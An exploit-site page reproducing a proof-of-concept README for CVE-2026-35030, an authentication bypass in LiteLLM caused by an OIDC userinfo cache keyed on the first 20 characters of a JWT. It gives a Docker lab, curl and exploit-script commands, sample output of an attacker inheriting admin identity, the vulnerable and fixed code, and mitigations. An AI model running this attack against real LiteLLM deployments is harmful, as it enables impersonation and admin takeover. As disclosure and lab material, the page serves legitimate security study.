Share
## https://sploitus.com/exploit?id=870BAA59-CF95-5581-8FCA-FB8BCC6CD2A7
# CVE-2026-35030 โ€” LiteLLM Authentication Bypass via OIDC Userinfo Cache Key Collision

> **LiteLLM** OIDC userinfo cache uses `token[:20]` as the cache key. Two different JWTs
> signed with the same algorithm produce **identical first 20 characters**, allowing an
> unauthenticated attacker to inherit another user's cached identity and permissions.

| Field | Value |
|-------|-------|
| **CVE** | **CVE-2026-35030** |
| **CVSS v4.0** | **9.4 (CRITICAL)** โ€” `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N` |
| **CVSS v3.1** | **9.1 (CRITICAL)** โ€” `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` |
| **CWE** | CWE-287 (Improper Authentication) / CWE-222 (Insufficiently Protected Credentials) |
| **Affected** | LiteLLM **..
```

The **header** (e.g., `{"alg":"RS256","typ":"JWT"}`) encodes identically for all tokens
using the same signing algorithm. This means two different JWTs โ€” issued to completely
different users โ€” will have the **same first 20 characters**.

### Attack Flow

```
1. Admin authenticates โ†’ LiteLLM fetches userinfo โ†’ cached with key = token[:20]
                                                                    โ†‘
2. Attacker crafts JWT with same algorithm (RS256) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
   โ†’ token[:20] is IDENTICAL โ†’ cache HIT โ†’ inherits admin identity
```

### Impact

- **Authentication bypass**: attacker inherits any cached user's identity
- **Privilege escalation**: if admin's userinfo is cached, attacker gains admin privileges
- **Confidentiality + Integrity breach**: attacker can access/modify resources as the victim
- No authentication required (attacker can be unauthenticated)

---

> **Note on Enterprise Licensing:** JWT/OIDC auth is an enterprise-only feature in LiteLLM
> (requires `LITELLM_LICENSE`). For local CVE reproduction, both Dockerfiles patch the
> `premium_user` check to `True`. This does **not** affect the vulnerability โ€” the cache
> key collision (`token[:20]`) exists independently of the enterprise check.
>
> The first startup runs Prisma migrations (~60-90s). LiteLLM will be ready when the logs
> show `"Uvicorn running on http://0.0.0.0:4000"`.

## Proof of Concept

### Quick Start (Docker)

```bash
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build

# 2. Install Python dependencies
pip install -r requirements.txt

# 3. Create test users (required for JWT auth โ€” master key needed)
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "attacker", "role": "proxy_admin"}'

# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo

# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000

# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
```

### Expected Output

**Demo mode** โ€” shows the cache key collision:

```
[+] Admin JWT    (subject=admin):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[+] Attacker JWT (subject=attacker):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[๐Ÿ”ฅ] COLLISION: Both tokens share the same first 20 characters!
    Reason: Both tokens use RS256 signing โ†’ identical JWT header base64 โ†’ identical first 20 characters
    โ†’ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
```

**Exploit mode** โ€” demonstrates the actual auth bypass:

```
[VULNERABLE] Exploit Attempt โ€” target: http://localhost:4000

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "admin", ...}   โ† INHERITED ADMIN!

[๐Ÿ”ฅ] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
        Attacker's token[:20] matched admin's cache key.
        Response user_id='admin' (expected 'admin' for escalation)
```

**Fixed version** โ€” sha256 cache key prevents the collision:

```
[FIXED] Exploit Attempt โ€” target: http://localhost:4001

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "attacker", ...}   โ† OWN IDENTITY preserved

    [+] Attacker identified as user_id='attacker'.
        Fixed version: cache collision prevented.
```

---

## Technical Details

### Root Cause

In `litellm/proxy/auth/handle_jwt.py`, the OIDC userinfo
cache is keyed by `token[:20]`:

```python
# Vulnerable (pre-1.83.0) โ€” litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}"   # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
    return cached_userinfo  # Cache hit โ†’ skip userinfo fetch!

# Fixed (v1.83.0+) โ€” same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
```

### Why `token[:20]` Is Insufficient

| Token component | Includes user-specific data? | Fixed for same algorithm? |
|-----------------|------------------------------|---------------------------|
| Header (first ~30 chars) | โŒ No | โœ… Yes โ€” identical base64 |
| Payload (user-specific) | โœ… Yes | โŒ No โ€” unique per user |
| Signature | โœ… Yes | โŒ No โ€” unique per key |

Since **the header is the only part within the first 20 characters**, and the header is
identical for all tokens using the same signing algorithm, every RS256 JWT from the same
issuer has the **exact same first 20 characters**.

### Attack Scenarios

| Scenario | Description |
|----------|-------------|
| **Privilege Escalation** | Low-privilege user becomes admin via cache collision |
| **Horizontal Impersonation** | Impersonate any user whose userinfo is cached |
| **Auth Bypass Chain** | Combine with CVE-2026-35029 to achieve RCE |

---

## Environment

```
CVE-2026-35030/
โ”œโ”€โ”€ README.md                    # This file
โ”œโ”€โ”€ docker-compose.yml           # Vulnerable + fixed LiteLLM + mock OIDC
โ”œโ”€โ”€ litellm_config.yaml          # LiteLLM config with JWT auth enabled
โ”œโ”€โ”€ requirements.txt             # Python dependencies (PoC)
โ”œโ”€โ”€ litellm-vuln/
โ”‚   โ””โ”€โ”€ Dockerfile               # Vulnerable LiteLLM v1.82.5 with enterprise patch
โ”œโ”€โ”€ litellm-fixed/
โ”‚   โ””โ”€โ”€ Dockerfile               # Fixed LiteLLM v1.83.0+ with sha256 cache key
โ”œโ”€โ”€ oidc-provider/
โ”‚   โ”œโ”€โ”€ Dockerfile               # Mock OIDC provider image
โ”‚   โ”œโ”€โ”€ requirements.txt
โ”‚   โ””โ”€โ”€ server.py                # OIDC mock (FastAPI)
โ”œโ”€โ”€ exploit/
โ”‚   โ”œโ”€โ”€ exploit.py               # Main PoC exploit script
โ”‚   โ””โ”€โ”€ token_forge.py           # JWT collision utilities
โ”œโ”€โ”€ docs/
โ”‚   โ””โ”€โ”€ advisory.md              # Advisory reference
โ””โ”€โ”€ screenshots/
    โ””โ”€โ”€ README.md                # Proof screenshots placeholder
```

---

## Mitigation

1. **Upgrade** to LiteLLM **v1.83.0+** (cache key uses `sha256(token)`)
2. **Disable JWT/OIDC auth** if not needed: `enable_jwt_auth: false`
3. **Restrict network exposure** of LiteLLM endpoints
4. **Set short OIDC cache TTL** to reduce the attack window

---

## References

- [GitHub Security Advisory GHSA-jjhc-v7c2-5hh6](https://github.com/BerriAI/litellm/security/advisories/GHSA-jjhc-v7c2-5hh6)
- [GitLab Advisory](https://advisories.gitlab.com/pypi/litellm/CVE-2026-35030/)
- [NVD Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-35030)
- [LiteLLM Security Hardening (April 2026)](https://docs.litellm.ai/blog/security-hardening-april-2026)
- [v1.83.0-stable Release](https://github.com/BerriAI/litellm/releases/tag/v1.83.0-stable)

---

> **Disclaimer:** This content is provided for **educational purposes and authorized security testing only.**